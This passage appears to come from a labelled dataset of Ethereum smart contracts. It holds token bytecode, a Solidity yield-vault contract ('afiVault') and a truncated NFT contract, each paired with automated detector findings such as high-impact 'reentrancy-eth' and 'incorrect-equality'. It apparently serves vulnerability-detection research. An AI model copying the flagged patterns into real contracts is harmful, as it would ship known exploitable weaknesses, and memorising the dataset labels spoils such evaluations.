ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a819055506009600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061232967016345785d8a0000600854611cef90919063ffffffff16565b8210156123475760085467016345785d8a0000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122061d539b913149a7ce6ea2ada4b03c2ea7fe1053ffcdfb7b938c92222612c2dc664736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,833 |
0x1992088dddc94d012d9fc62e863bf4027710ec6b | /**
*Submitted for verification at Etherscan.io on 2020-08-13
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
contract afiVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint public min = 9500;
uint public constant max = 10000;
address public governance;
address public controller;
constructor (address _token, address _controller) public ERC20Detailed(
string(abi.encodePacked("afi ", ERC20Detailed(_token).name())),
string(abi.encodePacked("afi", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()
) {
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
// Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint amount) external {
require(msg.sender == controller, "!controller");
require(reserve != address(token), "token");
IERC20(reserve).safeTransfer(controller, amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
} | 0x731992088dddc94d012d9fc62e863bf4027710ec6b30146080604052600080fdfea265627a7a72315820e69cdaadf1cf186b026ef0ac6a05f056e027755eae0273ef0c6291da1e53742e64736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,834 |
0x91a163ca5fab8ecd64c463a4bc715a62530a6eae | // contracts/GhostSoftwareCDROM.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <brecht@loopring.org>
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
interface IERC721 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
contract Ownable {
address public owner;
address private nextOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(isOwner(), "caller is not the owner.");
_;
}
modifier onlyNextOwner() {
require(isNextOwner(), "current owner must set caller as next owner.");
_;
}
constructor(address owner_) {
owner = owner_;
emit OwnershipTransferred(address(0), owner);
}
function transferOwnership(address nextOwner_) external onlyOwner {
require(nextOwner_ != address(0), "Next owner is the zero address.");
nextOwner = nextOwner_;
}
function cancelOwnershipTransfer() external onlyOwner {
delete nextOwner;
}
function acceptOwnership() external onlyNextOwner {
delete nextOwner;
owner = msg.sender;
emit OwnershipTransferred(owner, msg.sender);
}
function renounceOwnership() external onlyOwner {
owner = address(0);
emit OwnershipTransferred(owner, address(0));
}
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
function isNextOwner() public view returns (bool) {
return msg.sender == nextOwner;
}
}
contract Reentrancy {
uint256 internal constant REENTRANCY_NOT_ENTERED = 1;
uint256 internal constant REENTRANCY_ENTERED = 2;
uint256 internal reentrancyStatus;
modifier nonReentrant() {
require(reentrancyStatus != REENTRANCY_ENTERED, "Reentrant call");
reentrancyStatus = REENTRANCY_ENTERED;
_;
reentrancyStatus = REENTRANCY_NOT_ENTERED;
}
}
contract ChadeauChristmas is IERC721, IERC165, IERC721Metadata, Ownable, Reentrancy {
string public override name;
string public override symbol;
string public baseURI;
string private _unrevealed;
string public rootURI;
uint256 public immutable allocation;
uint256 public immutable quantity;
uint256 public immutable price;
address public immutable operator;
uint256 private nextTokenId;
uint256 private allocationsTransferred = 0;
bool public revealed = false;
mapping (uint256 => bool) internal _burned;
mapping (uint256 => string) internal _tokenUris;
event GiftClaimed(
uint256 indexed tokenId,
uint256 amountPaid,
address buyer,
address receiver
);
event EditionCreatorChanged(
address indexed previousCreator,
address indexed newCreator
);
constructor(
uint256 allocation_,
uint256 quantity_,
address owner_,
address operator_
) Ownable(owner_) {
name = "Chadeau Christmas";
symbol = "GIFT";
baseURI = "https://arweave.net/";
_unrevealed = "_isL0YCWpP_Vh_v8SWlgsFyHi-v5Q4jVNZyzwmx-Tco";
allocation = allocation_;
nextTokenId = allocation_;
quantity = quantity_;
price = 0.05 ether;
operator = operator_;
}
function purchase(address recipient)
external
payable
returns (uint256 tokenId)
{
require(msg.value >= price, "Insufficient funds sent");
tokenId = nextTokenId;
nextTokenId++;
require(tokenId < quantity, "This token is sold out");
_mint(recipient, tokenId);
emit GiftClaimed(tokenId, msg.value, msg.sender, recipient);
return tokenId;
}
function balanceOf(address owner_) public view override returns (uint256) {
if (owner_ == operator) {
return _balances[owner_] + allocation - allocationsTransferred;
}
require(owner_ != address(0), "ERC721: balance query for the zero address");
return _balances[owner_];
}
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
if (
_owners[tokenId] == address(0) &&
tokenId < allocation &&
!_burned[tokenId]
) {
return operator;
}
address _owner = _owners[tokenId];
require(
_owner != address(0),
"ERC721: owner query for nonexistent token"
);
return _owner;
}
function burn(uint256 tokenId) public {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_burn(tokenId);
}
function reveal() public onlyOwner {
revealed = true;
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(tokenId <= quantity);
string memory uri;
if (!revealed) {
uri = string(abi.encodePacked(baseURI, _unrevealed));
} else {
uri = string(abi.encodePacked(baseURI, rootURI, _toString(tokenId)));
}
return (
string(
abi.encodePacked(
"data:application/json;base64,",
Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Chadeau Christmas Gift #',
